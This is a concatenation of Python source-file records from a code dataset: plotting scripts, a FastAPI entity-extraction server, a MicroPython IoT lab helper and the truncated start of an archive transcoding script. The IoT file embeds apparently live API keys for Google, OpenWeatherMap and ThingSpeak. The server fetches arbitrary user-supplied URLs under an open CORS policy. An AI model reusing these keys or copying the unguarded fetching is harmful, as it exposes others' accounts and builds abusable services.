20}, bbox_to_anchor=(1, 1))\n        plt.xticks(plticks)\n        fig.autofmt_xdate()\n    fig.savefig(concelhos['name'], bbox_extra_artists=(lgd,), bbox_inches='tight')\n    plt.show()\n\nplot_conc(concelhos_aml)\nplot_conc(concelhos_curia)\nplot_conc(concelhos_amp)\n", "repo_name": "fqueiro/covid", "sub_path": ".github/workflows/graphs.py", "file_name": "graphs.py", "file_ext": "py", "file_size_in_byte": 2158, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.rc", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rc", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "scipy.ndimage.filters.gaussian_filter1d", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}]}
{"seq_id": "72823002812", "text": "import logging\nfrom datetime import datetime\nfrom typing import List, Union, Optional, Literal\n\nimport requests\nfrom fastapi import FastAPI, HTTPException, UploadFile, APIRouter\nfrom fastapi.routing import APIRoute\nfrom pydantic import BaseModel\nfrom starlette.middleware.cors import CORSMiddleware\n\nfrom agent.server_utils.config import ServerSettings\nfrom agent.server_utils.constants import (\n    WIKIPEDIA_PAGE_URI_PREFIX,\n    WIKIPEDIA_FILE_URI_PREFIX,\n)\nfrom agent.server_utils import preprocessing\n\nlogging.basicConfig(\n    format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\", level=logging.DEBUG\n)\nlogger = logging.getLogger(__name__)\n\n\nserver_settings = ServerSettings()\nif server_settings.collect_stats:\n    from agent.stats_collector.route_patch import StatsCollectorRoute\n    route_class = StatsCollectorRoute\nelse:\n    route_class = APIRoute\n\n\napp = FastAPI()\napi_router = APIRouter(route_class=route_class)\n\n\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n\nclass EntityExtractionAgentRequest(BaseModel):\n    \"\"\"Agent gateway request\"\"\"\n\n    text: Optional[str]\n    html: Optional[str]\n    url: Optional[str]\n    parser_engine: Optional[Literal[\"bs4\", \"trafilatura\"]] = \"trafilatura\"\n    parser_kwargs: Optional[dict] = {}\n    attach_parsed_html: bool = False\n    include_extras: bool = True\n\n\nclass HtmlParserAgentRequest(BaseModel):\n    \"\"\"Agent HTML parser request\"\"\"\n\n    html: Optional[str]\n    url: Optional[str]\n    parser_engine: Optional[Literal[\"bs4\", \"trafilatura\"]] = \"trafilatura\"\n    parser_kwargs: Optional[dict] = {}\n\n\nclass EntityExtractionServiceRequest(BaseModel):\n    texts: List[str]\n\n\nclass EntityExtractionServiceResponse(BaseModel):\n    entity_substr: List[List[str]]\n    entity_offsets: List[List[List[int]]]\n    entity_ids: List[List[List[str]]]\n    entity_tags: List[List[List[str]]]\n    entity_conf: List[List[List[float]]]\n    entity_pages: List[List[List[str]]]\n    image_links: List[List[List[str]]]\n    categories: List[List[List[List[str]]]]\n    first_paragraphs: List[List[List[str]]]\n    dbpedia_types: List[List[List[List[str]]]]\n\n    def count_entities(self):\n        \"\"\"Counts number of entities in entity-extraction response\n\n        Returns:\n            number of entities\n\n        \"\"\"\n        return len(self.entity_offsets[0])\n\n    def count_entity_variants(self, idx):\n        \"\"\"Counts number of entity variants in entity-extraction response\n\n        Args:\n            idx: index of entity\n\n        Returns:\n            number of entity variants\n\n        \"\"\"\n        return len(self.entity_ids[0][idx])\n\n    def substr(self, idx):\n        return self.entity_substr[0][idx]\n\n    def offsets(self, idx):\n        return self.entity_offsets[0][idx]\n\n    def tags(self, idx):\n        return self.entity_tags[0][idx]\n\n    def types(self, idx, variety_idx):\n        return self.dbpedia_types[0][idx][variety_idx]\n\n    def id(self, idx, variety_idx):\n        return self.entity_ids[0][idx][variety_idx]\n\n    def conf(self, idx, variety_idx):\n        return self.entity_conf[0][idx][variety_idx]\n\n    def page(self, idx, variety_idx):\n        return self.entity_pages[0][idx][variety_idx]\n\n    def page_uri(self, idx, variety_idx):\n        page = self.page(idx, variety_idx)\n        return f\"{WIKIPEDIA_PAGE_URI_PREFIX}/{page}\".replace(\" \", \"_\")\n\n    def lod(self, idx, variety_idx):\n        uri = self.page_uri(idx, variety_idx)\n        return {\"wikipedia\": uri} if uri else {}\n\n    def image(self, idx, variety_idx):\n        return self.image_links[0][idx][variety_idx]\n\n    def image_uri(self, idx, variety_idx):\n        image_uri = \"\"\n        image = self.image(idx, variety_idx)\n        if image:\n            image_uri = f\"{WIKIPEDIA_FILE_URI_PREFIX}/{image}\".replace(\" \", \"_\")\n\n        return image_uri\n\n    def images(self, idx, variety_idx):\n        images_dict = {}\n        image_uri = self.image_uri(idx, variety_idx)\n        if image_uri:\n            images_dict = {\"full\": image_uri, \"thumbnail\": f\"{image_uri}?width=300\"}\n\n        return images_dict\n\n    def category(self, idx, variety_idx):\n        return self.categories[0][idx][variety_idx]\n\n    def first_paragraph(self, idx, variety_idx):\n        return self.first_paragraphs[0][idx][variety_idx]\n\n\nclass EntityAnnotationImage(BaseModel):\n    full: str\n    thumbnail: str\n\n\nclass EntityAnnotationLod(BaseModel):\n    wikipedia: str\n\n\nclass BaseEntityAnnotation(BaseModel):\n    start: int\n    end: int\n    spot: str\n    tags: List[str]\n\n    @property\n    def has_wikidata(self):\n        return False\n\n\nclass EntityAnnotation(BaseEntityAnnotation):\n    confidence: float\n    id: str\n    title: str\n    uri: str\n    abstract: str\n    label: str\n    categories: List[str]\n    image: Optional[dict] = {}\n    lod: Optional[dict] = {}\n    types: List\n\n    @property\n    def has_wikidata(self):\n        return True\n\n\nclass BaseEntityAnnotationWithExtras(BaseEntityAnnotation):\n    extras: Optional[List[BaseEntityAnnotation]]\n\n\nclass EntityAnnotationWithExtras(EntityAnnotation):\n    extras: Optional[List[EntityAnnotation]]\n\n\nAnyBaseAnnotation = Union[BaseEntityAnnotation, BaseEntityAnnotationWithExtras]\nAnyAnnotation = Union[EntityAnnotation, EntityAnnotationWithExtras]\n\n\nclass EntityExtractionAgentResponse(BaseModel):\n    annotations: Optional[List[AnyAnnotation]] = []\n    unlisted_annotations: Optional[List[AnyBaseAnnotation]] = []\n    parsed_html: Optional[str]\n    lang: str\n    timestamp: datetime\n\n\ndef preprocess_text(text: str):\n    text = preprocessing.add_trailing_period(text)\n    text = preprocessing.replace_unprocessable_chars(text)\n\n    return text\n\n\ndef preprocess_html(\n    html: Union[bytes, str], engine: Literal[\"bs4\", \"trafilatura\"], **engine_kwargs\n):\n    if engine == \"bs4\":\n        text = preprocessing.parse_html_bs4(html, **engine_kwargs)\n    elif engine == \"trafilatura\":\n        text = preprocessing.parse_html_trafilatura(html, **engine_kwargs)\n    else:\n        raise ValueError(f\"engine must be either 'bs4' or 'trafilatura', not {engine}\")\n\n    text = preprocess_text(text)\n\n    return text\n\n\ndef preprocess_url(\n    url: str, html_engine: Literal[\"bs4\", \"trafilatura\"], **html_engine_kwargs\n):\n    raw_html = requests.get(url).content\n    text = preprocess_html(raw_html, html_engine, **html_engine_kwargs)\n\n    return text\n\n\ndef unpack_annotation(\n    entities: EntityExtractionServiceResponse,\n    entity_idx: int,\n    variety_idx: int,\n):\n    \"\"\"\n    Creates an Annotation data object\n\n    Args:\n        entities: entities from entity-extraction service\n        entity_idx: entity index\n        variety_idx: entity variety index\n\n    Returns:\n        annotation object\n\n    \"\"\"\n    start_offset, end_offset = entities.offsets(entity_idx)\n    wikidata_id = entities.id(entity_idx, variety_idx)\n\n    if wikidata_id:\n        return EntityAnnotation(\n            start=start_offset,\n            end=end_offset,\n            spot=entities.substr(entity_idx),\n            confidence=entities.conf(entity_idx, variety_idx),\n            id=wikidata_id,\n            title=entities.page(entity_idx, variety_idx),\n            uri=entities.page_uri(entity_idx, variety_idx),\n            abstract=entities.first_paragraph(entity_idx, variety_idx),\n            label=entities.page(entity_idx, variety_idx),\n            categories=entities.category(entity_idx, variety_idx),\n            tags=entities.tags(entity_idx),\n            image=entities.images(entity_idx, variety_idx),\n            lod=entities.lod(entity_idx, variety_idx),\n            types=entities.types(entity_idx, variety_idx),\n        )\n    else:\n        return BaseEntityAnnotation(\n            start=start_offset,\n            end=end_offset,\n            spot=entities.substr(entity_idx),\n            tags=entities.tags(entity_idx),\n        )\n\n\ndef unpack_entity_extraction_service_response(\n    entities: EntityExtractionServiceResponse,\n    parsed_html: str,\n    include_extras: bool = True,\n):\n    unlisted_annotations = []\n    listed_annotations = []\n\n    for idx in range(entities.count_entities()):\n        top_annotation = unpack_annotation(entities, idx, 0)\n        full_annotation_kwargs = top_annotation.dict()\n\n        if include_extras:\n            extra_annotations = []\n            listed_annotation_class = EntityAnnotationWithExtras\n            unlisted_annotation_class = BaseEntityAnnotationWithExtras\n\n            for variety_idx in range(1, entities.count_entity_variants(idx)):\n                extra_annotation = unpack_annotation(entities, idx, variety_idx)\n                extra_annotations.append(extra_annotation)\n\n            full_annotation_kwargs[\"extras\"] = extra_annotations\n        else:\n            listed_annotation_class = EntityAnnotation\n            unlisted_annotation_class = BaseEntityAnnotation\n\n        if top_annotation.has_wikidata:\n            full_annotation = listed_annotation_class(**full_annotation_kwargs)\n            listed_annotations.append(full_annotation)\n        else:\n            full_annotation = unlisted_annotation_class(**full_annotation_kwargs)\n            unlisted_annotations.append(full_annotation)\n\n    return EntityExtractionAgentResponse(\n        annotations=listed_annotations,\n        unlisted_annotations=unlisted_annotations,\n        parsed_html=parsed_html,\n        lang=\"en\",\n        timestamp=datetime.utcnow(),\n    )\n\n\n@api_router.post(\"/\")\nasync def extract(payload: EntityExtractionAgentRequest):\n    text = \"\"\n    n_main_args = sum(\n        int(bool(pl_value)) for pl_value in [payload.text, payload.html, payload.url]\n    )\n\n    if n_main_args != 1:\n        raise HTTPException(status_code=400, detail=\"Provide only text, html or url\")\n    elif payload.text:\n        text = preprocess_text(payload.text)\n    elif payload.html:\n        try:\n            text = preprocess_html(\n                payload.html, payload.parser_engine, **payload.parser_kwargs\n            )\n        except ValueError as e:\n            raise HTTPException(status_code=400, detail=str(e))\n    elif payload.url:\n        try:\n            text = preprocess_url(\n                payload.url, payload.parser_engine, **payload.parser_kwargs\n            )\n        except Exception as e:\n            raise HTTPException(status_code=400, detail=str(e))\n\n    request_data = EntityExtractionServiceRequest(texts=[text]).dict()\n\n    try:\n        response = requests.post(\n            server_settings.entity_extraction_url, json=request_data\n        )\n        entities = response.json()\n        logger.debug(entities)\n    except Exception as e:\n        raise HTTPException(\n            status_code=400, detail=f\"Oh no, Entity Extraction server is down! {e}\"\n        )\n\n    entities = EntityExtractionServiceResponse(**entities)\n    entities = unpack_entity_extraction_service_response(\n        entities, parsed_html=text, include_extras=payload.include_extras\n    )\n\n    if payload.html and payload.attach_parsed_html:\n        exclude = set()\n    else:\n        exclude = {\"parsed_html\"}\n\n    return entities.dict(exclude=exclude)\n\n\n@api_router.post(\"/parse_html\")\nasync def parse_html(payload: HtmlParserAgentRequest):\n    text = \"\"\n\n    if payload.html and payload.url:\n        raise HTTPException(status_code=400, detail=\"Provide only html or url\")\n    elif payload.html:\n        try:\n            text = preprocess_html(\n                payload.html, payload.parser_engine, **payload.parser_kwargs\n            )\n        except ValueError as e:\n            raise HTTPException(status_code=400, detail=str(e))\n    elif payload.url:\n        try:\n            text = preprocess_url(\n                payload.url, payload.parser_engine, **payload.parser_kwargs\n            )\n        except Exception as e:\n            raise HTTPException(status_code=400, detail=str(e))\n\n    return text\n\n\n@api_router.post(\"/parse_html_file\")\nasync def parse_html_file(html_file: UploadFile):\n    contents = await html_file.read()\n    text = preprocess_html(contents, \"trafilatura\")\n\n    return text\n\n\napp.include_router(api_router)\n", "repo_name": "deeppavlov/entity_extraction_svc", "sub_path": "agent/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 12064, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.basicConfig", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 19, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 21, "usage_type": "call"}, {"api_name": "agent.server_utils.config.ServerSettings", "line_number": 24, "usage_type": "call"}, {"api_name": "agent.stats_collector.route_patch.StatsCollectorRoute", "line_number": 27, "usage_type": "name"}, {"api_name": "fastapi.routing.APIRoute", "line_number": 29, "usage_type": "name"}, {"api_name": "fastapi.FastAPI", "line_number": 32, "usage_type": "call"}, {"api_name": "fastapi.APIRouter", "line_number": 33, "usage_type": "call"}, {"api_name": "starlette.middleware.cors.CORSMiddleware", "line_number": 37, "usage_type": "argument"}, {"api_name": "pydantic.BaseModel", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 48, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 51, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 51, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 52, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 57, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 61, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 62, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 62, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 63, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 66, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 67, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 70, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 72, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 74, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 75, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 76, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 77, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 78, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 79, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 80, "usage_type": "name"}, {"api_name": "agent.server_utils.constants.WIKIPEDIA_PAGE_URI_PREFIX", "line_number": 126, "usage_type": "name"}, {"api_name": "agent.server_utils.constants.WIKIPEDIA_FILE_URI_PREFIX", "line_number": 139, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 158, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 163, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 167, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 171, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 185, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 186, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 187, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 188, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 196, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 196, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 200, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 200, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 203, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 204, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 207, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 208, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 208, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 209, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 209, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 210, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 212, "usage_type": "name"}, {"api_name": "agent.server_utils.preprocessing.add_trailing_period", "line_number": 216, "usage_type": "call"}, {"api_name": "agent.server_utils.preprocessing", "line_number": 216, "usage_type": "name"}, {"api_name": "agent.server_utils.preprocessing.replace_unprocessable_chars", "line_number": 217, "usage_type": "call"}, {"api_name": "agent.server_utils.preprocessing", "line_number": 217, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 223, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 223, "usage_type": "name"}, {"api_name": "agent.server_utils.preprocessing.parse_html_bs4", "line_number": 226, "usage_type": "call"}, {"api_name": "agent.server_utils.preprocessing", "line_number": 226, "usage_type": "name"}, {"api_name": "agent.server_utils.preprocessing.parse_html_trafilatura", "line_number": 228, "usage_type": "call"}, {"api_name": "agent.server_utils.preprocessing", "line_number": 228, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 238, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 240, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 330, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 330, "usage_type": "name"}, {"api_name": "fastapi.HTTPException", "line_number": 342, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 351, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 358, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 363, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 369, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 391, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 398, "usage_type": "call"}, {"api_name": "fastapi.HTTPException", "line_number": 405, "usage_type": "call"}, {"api_name": "fastapi.UploadFile", "line_number": 411, "usage_type": "name"}]}
{"seq_id": "34624272618", "text": "#coding=utf-8\nimport matplotlib.pyplot as plt\n\nplt.rcParams['font.sans-serif']=['SimHei']\n\n\ndecision_node = dict(boxstyle=\"sawtooth\", fc=\"0.8\")\nleaf_node = dict(boxstyle=\"round4\", fc=\"0.8\")\narrow_args = dict(arrowstyle=\"<-\")\n\n\n\ndef plot_node(nodetxt, center_pt, parent_pt, nodetype):\n    create_plot.ax1.annotate(nodetxt, xy=parent_pt, xycoords=\"axes fraction\", xytext=center_pt, textcoords=\"axes fraction\", \\\n        va=\"center\", ha=\"center\", bbox=nodetype, arrowprops=arrow_args)\n    \n\ndef get_num_leafs(mytree):\n    num_leafs = 0\n    firststr = mytree.keys()[0]\n    second_dict = mytree[firststr]\n    for key in second_dict.keys():\n        if type(second_dict[key]).__name__ == \"dict\":\n            num_leafs += get_num_leafs(second_dict[key])\n        else:\n            num_leafs += 1\n    return num_leafs\n    \ndef get_tree_depth(mytree):\n    maxdepth = 0\n    firststr = mytree.keys()[0]\n    second_dict = mytree[firststr]\n    for key in second_dict.keys():\n        if type(second_dict[key]).__name__ == \"dict\":\n            this_depth = 1 + get_tree_depth(second_dict[key])\n        else:\n            this_depth = 1\n        if this_depth > maxdepth:\n            maxdepth = this_depth\n    return maxdepth\n    \n    \ndef plot_mid_text(cntr_pt, parent_pt, txt_string):\n    x_mid = (parent_pt[0] - cntr_pt[0])/2.0 + cntr_pt[0]\n    y_mid = (parent_pt[1] - cntr_pt[1])/2.0 + cntr_pt[1]\n    create_plot.ax1.text(x_mid, y_mid, str(txt_string))\n    \n    \ndef plot_tree(mytree, parent_pt, nodetxt):\n    num_leafs = get_num_leafs(mytree)\n    depth = get_tree_depth(mytree)\n    firststr = mytree.keys()[0]\n    cntr_pt = (plot_tree.xoff + (1.0 + float(num_leafs))/2.0/plot_tree.total_w, plot_tree.yoff)\n    plot_mid_text(cntr_pt, parent_pt,nodetxt)\n    plot_node(firststr, cntr_pt, parent_pt, decision_node)\n    second_dict = mytree[firststr]\n    plot_tree.yoff = plot_tree.yoff - 1.0/plot_tree.total_d\n    for key in second_dict.keys():\n        if type(second_dict[key]).__name__ == \"dict\":\n            plot_tree(second_dict[key], cntr_pt, str(key))\n        else:\n            plot_tree.xoff = plot_tree.xoff + 1.0/plot_tree.total_w\n            plot_node(second_dict[key], (plot_tree.xoff, plot_tree.yoff), cntr_pt, leaf_node)\n            plot_mid_text((plot_tree.xoff, plot_tree.yoff), cntr_pt, str(key))\n    plot_tree.yoff = plot_tree.yoff + 1.0/plot_tree.total_d\n\n\ndef create_plot(intree):\n    fig = plt.figure(1, facecolor=\"white\")\n    fig.clf()\n    axprops = dict(xticks=[], yticks=[])\n    create_plot.ax1 = plt.subplot(111, frameon=False, **axprops)\n    plot_tree.total_w = float(get_num_leafs(intree))\n    plot_tree.total_d = float(get_tree_depth(intree))\n    plot_tree.xoff = -0.5/plot_tree.total_w\n    plot_tree.yoff = 1.0\n    plot_tree(intree, (0.5,1.0), '')\n    plt.show()\n    \n    ", "repo_name": "zmzhu78jan/machinelearning", "sub_path": "treeplotter.py", "file_name": "treeplotter.py", "file_ext": "py", "file_size_in_byte": 2780, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 4, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 4, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}]}
{"seq_id": "14627555062", "text": "from machine import I2C, Pin, SPI, ADC, RTC\nimport socket\nimport ssd1306\nimport time\nimport network\nimport urequests\nimport json\n\n\ndef SPI_write(spi, cs, address, data):\n\tcs.value(0)\n\tspi.write(address)\n\tspi.write(data)\n\tcs.value(1)\n\n\ndef SPI_read(spi, cs, address, nbyte):\n\tcs.value(0)\n\tspi.write(address)\n\tb = spi.read(nbyte)\n\tcs.value(1)\n\treturn b\n\n\ndef ADXL345_init(spi, cs):\n\tSPI_write(spi, cs, b'\\x6C', b'\\x0A')\n\tSPI_write(spi, cs, b'\\x6D', b'\\x28')\n\tSPI_write(spi, cs, b'\\x6E', b'\\xFF')\n\tSPI_write(spi, cs, b'\\x71', b'\\x08')\n\tSPI_write(spi, cs, b'\\x78', b'\\x80')\n\n\ndef ShowTime(oled, timeTuple):\n\tdateStr = \"{:0>4d}-{:0>2d}-{:0>2d}\".format(int(timeTuple[0]), int(timeTuple[1]), int(timeTuple[2]))\n\ttimeStr = \"{:0>2d}:{:0>2d}:{:0>2d}\".format(int(timeTuple[4]), int(timeTuple[5]), int(timeTuple[6]))\n\toled.text(dateStr, 0, 0)\n\toled.text(timeStr, 0, 11) \n\n\ndef Debounce(pin):\n\tcurrentValue = pin.value()\n\ttime.sleep_ms(20)\n\treturn pin.value() == currentValue\n\n\ndef Menu(oled, item):\n\tif item < 3:\n\t\toled.text('>', 0, int(item)*10+0)\n\t\toled.text('1. Change Time', 7, 0)\n\t\toled.text('2. Set Alarm', 7, 11)\n\t\toled.text('3. Voice Cmd', 7, 22)\n\telse:\n\t\toled.text('>', 0, int(item-3)*10+0)\n\t\toled.text('4. Gestr Recg', 7, 0)\n\t\toled.text('5. Curt Time', 7, 11)\n\ndef Refresh(oled, rate):\n\ttime.sleep_ms(int(1000/rate))\n\toled.fill(0)\n\n# def ChangeBright(oled):\n# \tlightSensor = ADC(0)\n# \toled.contrast(255-int(lightSensor.read()*255/1024))\n\ndef DisplayWeather(oled):\n\theaders = {\"Content-Type\": \"application/json; charset=UTF-8\"}\n\turl = \"https://www.googleapis.com/geolocation/v1/geolocate?key=AIzaSyCIGgXSrXj0O3nbjN7sf15kskcOcZWwm9o\"\n\trequest_data = {\n\t\t\"considerIp\": \"true\",\n\t\t\"wifiAccessPoints\": [\n\t\t{\n\t\t\t\"macAddress\": \"bc:dd:c2:14:68:77\",\n\t\t\t\"signalStrength\": -43,\n\t\t\t\"signalToNoiseRatio\": 0\n\t\t}\n\t\t]\n\t}\n\tlocationDic = json.loads(urequests.post(url, data=json.dumps(request_data), headers=headers).text)\n\turl = \"https://api.openweathermap.org/data/2.5/weather?lat={latitude}&lon={longitude}&appid=4d34fa16a400db838cd70c2f138dd831\".format(latitude = str(locationDic['location']['lat']), longitude = str(locationDic['location']['lng']))\n\tweatherDic = json.loads(urequests.get(url).text)\n\tweather = weatherDic['weather'][0]['main']\n\toled.text(weather, 0, 0)\n\ttemperature = weatherDic['main']['temp'] - 273.15\n\toled.text('{} C'.format(temperature), 0, 11)\n\n\ndef SendTweets(str):\n\turl = \"https://api.thingspeak.com/apps/thingtweet/1/statuses/update?api_key=7DNNLMJWMEY6XNJP&status={}\".format(str.replace(' ', '%20'))\n\treturn urequests.post(url).text\n\n\ndef ConnectWIFI(essid, key):\n\tsta_if = network.WLAN(network.STA_IF)\n\tif not sta_if.isconnected():\n\t\tprint('connecting to network...')\n\t\tsta_if.active(True)\n\t\tsta_if.connect(essid, key)\n\t\twhile not sta_if.isconnected():\n\t\t\tprint('connecting')\n\t\t\tpass\n\tprint('network config:', sta_if.ifconfig())\n\n\ndef SendAWS(label, ID, seq, x1, x2, y1, y2, z1, z2):\n\theaders = {\"Content-Type\": \"application/json; charset=UTF-8\"}\n\turl = \"http://3.87.68.197:8099/predict/post\"\n\trequest_data = {\n\t\"label\":label,\n\t\"ID\":ID,\n\t\"seq\":seq, \n\t\"x1\":x1,\n\t\"x2\":x2,\n\t\"y1\":y1,\n\t\"y2\":y2,\n\t\"z1\":z1,\n\t\"z2\":z2\n\t}\n\treturn urequests.post(url, data=json.dumps(request_data), headers=headers).text\n\n", "repo_name": "Zhuoyue-Xing/IOT---INTELLIG-CONNECTED-SYS", "sub_path": "Lab/Lab6/lab6_group12_esp8266_simple_dependence.py", "file_name": "lab6_group12_esp8266_simple_dependence.py", "file_ext": "py", "file_size_in_byte": 3205, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.sleep_ms", "line_number": 42, "usage_type": "call"}, {"api_name": "time.sleep_ms", "line_number": 58, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 78, "usage_type": "call"}, {"api_name": "urequests.post", "line_number": 78, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 78, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 80, "usage_type": "call"}, {"api_name": "urequests.get", "line_number": 80, "usage_type": "call"}, {"api_name": "urequests.post", "line_number": 89, "usage_type": "call"}, {"api_name": "network.WLAN", "line_number": 93, "usage_type": "call"}, {"api_name": "network.STA_IF", "line_number": 93, "usage_type": "attribute"}, {"api_name": "urequests.post", "line_number": 118, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 118, "usage_type": "call"}]}
{"seq_id": "34862931915", "text": "#!/usr/bin/env python3\n\n'''\nModule script for BFI National Archive downloader app.\n\nThis script manages transcoding to ProRes of assets downloaded\nfrom the BFI National Archive file downloader.\nIt receives the downloaded source file path and\nprocesses the file in situ before returning the new\nencoded file path to the downloader app script, which sends\nan email notification of the file's completed download\nand transcode.\n\nJoanna White\n2023\n'''\n\nimport os\nimport re\nimport sys\nimport time\nimport json\nimport logging\nimport subprocess\nimport magic\n\n# Global paths from server environmental variables\nPATH_POLICY = os.environ['MEDIACONCH']\nPRORES_POLICY = os.path.join(PATH_POLICY, 'BFI_download_transcode_basic_prores.xml')\nLOG = os.environ['LOG_PATH']\nCONTROL_JSON = os.path.join(LOG, 'downtime_control.json')\n\n# Setup logging\nlogger = logging.getLogger('downloaded_transcode_prores')\nhdlr = logging.FileHandler(os.path.join(LOG, 'scheduled_database_downloader_transcode.log'))\nformatter = logging.Formatter('%(asctime)s\\t%(levelname)s\\t%(message)s')\nhdlr.setFormatter(formatter)\nlogger.addHandler(hdlr)\nlogger.setLevel(logging.INFO)\n\n\ndef check_control():\n    '''\n    Check control json for downtime requests\n    '''\n    with open(CONTROL_JSON) as control:\n        j = json.load(control)\n        if not j['pause_scripts']:\n            return False\n        else:\n            return True\n\n\ndef check_mime_type(fpath):\n    '''\n    Checks the mime type is video\n    and if stream media checks ffprobe\n    '''\n    if fpath.endswith(('.ts', '.mxf', '.mpg')):\n        mime = 'video'\n    else:\n        mime = magic.from_file(fpath, mime=True)\n    try:\n        type_ = mime.split('/')[0]\n        print(f'* mime type is {type_}')\n    except IOError:\n        logger.warning('%s\\tCannot open file, resource busy', fpath)\n        return False\n    if type_ != 'video':\n        print(f'* MIMEtype \"{type_}\" is not video...')\n        return False\n    if type_ == 'video':\n        cmd = ['ffprobe',\n               '-i', fpath,\n               '-loglevel', '-8']\n        try:\n            code = subprocess.call(cmd)\n            if code != 0:\n                logger.warning('%s\\tffprobe failed to read file: [%s] status', fpath, code)\n                return False\n            print('* ffprobe read file successfully - status 0')\n        except Exception as err:\n            